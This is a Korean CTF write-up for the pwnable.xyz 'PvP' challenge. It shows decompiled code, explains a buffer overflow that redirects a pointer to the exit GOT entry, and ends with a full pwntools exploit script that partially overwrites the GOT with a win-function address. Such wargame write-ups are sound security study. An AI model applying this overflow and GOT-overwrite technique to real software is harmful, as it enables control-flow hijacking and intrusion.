1. 문제
1) mitigation 확인
No PIE이다. got overwrite 쌉가능
2) 문제 확인
프로그래밍적으로 취약한 프로그램이라고 한다. 1,2번 메뉴로 문자열을 이어붙일수 있다. 3번으로 출력이 가능하고 4번으로 저장하는것으로 보인다
3) 코드 확인
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
puts("PvP - Programmatically vulnerable Program");
while ( 1 )
{
print_menu();
switch ( (unsigned __int64)(unsigned int)read_int32() )
{
case 0uLL:
return 0;
case 1uLL:
if ( dword_6026A8 )
short_append();
else
puts("Message is empty.");
break;
case 2uLL:
if ( dword_6026A8 )
{
puts("Message already there.");
}
else
{
long_append();
dword_6026A8 = 1;
}
break;
case 3uLL:
if ( dest )
printf("Your msg %s\n", dest);
break;
case 4uLL:
save_it();
break;
default:
puts("Invalid");
break;
}
}
}
메인은 다음과 같다. 2번 메뉴인 long append를 한번 호출하게 되면 dword_6026A8 에 1이 저장되고, 그때부터는 1번 메뉴인 short append를 호출시킬수 있다. 두 함수는 그냥 랜덤한 값으로 x라는 전역변수에 문자열을 이어붙이는 함수이다.
단지 long_append() 함수로는 쫌더 길게 이어붙일수 있다. save_it 함수를 살펴보자
int save_it()
{
size_t v0; // rax
int result; // eax
unsigned int n; // [rsp+Ch] [rbp-4h]
if ( !dest )
{
v0 = strlen(x);
dest = (char *)malloc(v0);
}
printf("How many bytes is your message? ");
n = read_int32();
if ( n <= 0x400 )
result = (unsigned __int64)strncpy(dest, x, n);
else
result = puts("Invalid");
return result;
}
아까 short, long_append 함수로 이어붙인 문자열이 x에 저장된다고 했다. 해당 함수는 x에 들어있는 문자열을 dest 전역변수에 복사하는 말그대로 저장하는 함수이다. 1,2, 메뉴로 이어붙인 문자열이 dest에 담긴다.
2. 접근방법
x와 dest 변수는 0x400 만큼 떨어져 있다. 1,2번 메뉴를 통해 overflow가 가능하다. 따라서 save_it 함수를 호출하기 전에 overflow를 일으켜 dest변수에 got 주소를 넣고, save_it 함수를 호출하게되면, strncpy 함수로 인해 x에 담겨져 있는 데이터가 got에 복사된다.
여기서 꽤 헤맸는데, win 함수 주소는 0x400B2D
이다. 특정 libc 함수들은 한번 호출이 되면, plt→got 테이블을 걸쳐 got_table에 libc 주소를 박아두게 된다. 이러한 과정을 lazy binding이라고 하는데, 여하튼 한번이상 호출된 함수들은 got에 libc 주소가 박힌다.
하지만 우리가 got에 넣은 win 함수 주소는 3바이트 이므로 got overwrite를 하려면 한번도 호출되지 않는 함수를 이용해야 한다. 왜냐하면
한번도 호출되지 않는 함수의 got는 위사진처럼 plt 부분을 가리키고 있기 때문에 3바이트만 덮으면 나머지는 널바이트므로 got overwrite가 정상적으로 실행이 되는 것이다.
3. 풀이
막짜긴 했지만 대충 코드를 짠 흐름은 다음과 같다
- long_appen() 함수에 960 바이트 이상이 나올때까지 반복문을 돈다. 이때 x 초기 3바이트는 win함수주소를 넣는다.
- 960바이트 이상값이 나오면 960 바이트로 append한다
- 1번 메뉴 short로 1014바이트가 넘어가면, 이때부터는 1024까지 한바이트씩 이어붙인다
- x크기가 1024바이트가 되면 이때 3바이트를 exit got를 넣는다
- 시그널이 발생하면, 핸들러에 등록되어있는 exit함수가 호출된다.
최종 익스코드는 다음과 같다
from pwn import *
context(log_level="DEBUG")
p=remote("svc.pwnable.xyz",30022)
#p=process("./challenge")
payload="\x2D\x0B\x40"
while(1):
p=remote("svc.pwnable.xyz",30022)
#p=process("./challenge")
p.sendlineafter("> ","2")
p.recvuntil("Give me ")
count1=int(p.recvuntil("char")[:-4])
log.info(count1)
if count1>=960:
p.sendafter("s: ",payload+"A"*957)
count3=960
while(1):
if count3==1024:
log.info(str(count3))
#pause()
#gdb.attach(p,'code\nb *0xb0a+$code\n')
p.sendlineafter("> ","1")
p.sendafter("chars: ","\xa0\x20\x60")
p.sendlineafter("> ","4")
p.sendlineafter("message? ","3")
#sleep(7)
p.interactive()
p.sendlineafter("> ","1")
p.recvuntil("Give me ")
count2=int(p.recvuntil("char")[:-5])
log.info("count2::"+str(count2)+"===")
log.info("count3::"+str(count3))
if ((count3>=1014) and (count3<1024)):
p.sendafter("s: ","B")
count3=count3+1
else:
p.sendafter("s: ","B"*count2)
count3=count3+count2
else:
p.close()
continue
p.interactive()
한 3번에 한번꼴로 성공한다.ㅋ
4. 몰랐던 개념
- none
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] Punch it (0) | 2020.05.11 |
---|---|
[pwnable.xyz] catalog (0) | 2020.05.10 |
[pwnable.xyz] bookmark (0) | 2020.05.08 |
[pwnable.xyz] attack (0) | 2020.05.07 |
[pwnable.xyz] rwsr (0) | 2020.05.06 |